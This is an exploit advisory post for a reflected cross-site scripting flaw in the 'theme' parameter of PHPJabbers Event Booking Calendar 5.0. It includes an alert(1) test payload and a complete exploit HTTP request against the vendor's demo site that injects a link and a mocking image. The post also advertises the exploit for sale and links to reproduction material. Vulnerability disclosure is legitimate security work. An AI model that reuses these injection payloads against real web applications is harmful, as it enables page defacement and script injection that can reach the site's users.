Event Booking Calendar-5.0 Cross-site scripting (reflected)

## Titles: Event Booking Calendar-5.0 Cross-site scripting (reflected) ## Author: nu11secur1ty ## Date: 5/13/2026 ## Vendor: https://www.phpjabbers.com/ ## Software: https://www.phpjabbers.com/event-booking-calendar/ ## Reference: https://portswigger.net/web-security/cross-site-scripting ## Description: The value of the theme request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6kx6"><script>alert(1)</script>po9g6 was submitted in the theme parameter. This input was echoed unmodified in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. STATUS: HIGH- Vulnerability [+]Exploit: ``` GET /scripts/event-booking-calendar/preview.php?locale=1&hide=0&theme=theme1a6kx6%22%3E%3Ca%20href=%22https://www.youtube.com/watch?v=Q9pX-pEAFT4%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https://media1.tenor.com/m/sLjUbG5BVikAAAAd/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C/a%3Epo9g6 HTTP/2 Host: demo.phpjabbers.com Cookie: EventBookingCalendar=179dabd0dc4c6897881b9496ceeaa53a Cache-Control: max-age=0 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i ``` ##[+]Buy the Exploit if you need and if you want to support me: [href](https://venvar.gumroad.com/l/jrzzmg) ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/PHPJABBERS/Event-Booking-Calendar-5.0-Cross-site-scripting(reflected)) ## Demo PoC: [href](https://www.patreon.com/posts/event-booking-5-158137115) ## Time spent: 01:27:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://nu11secur1ty.blogspot.com/>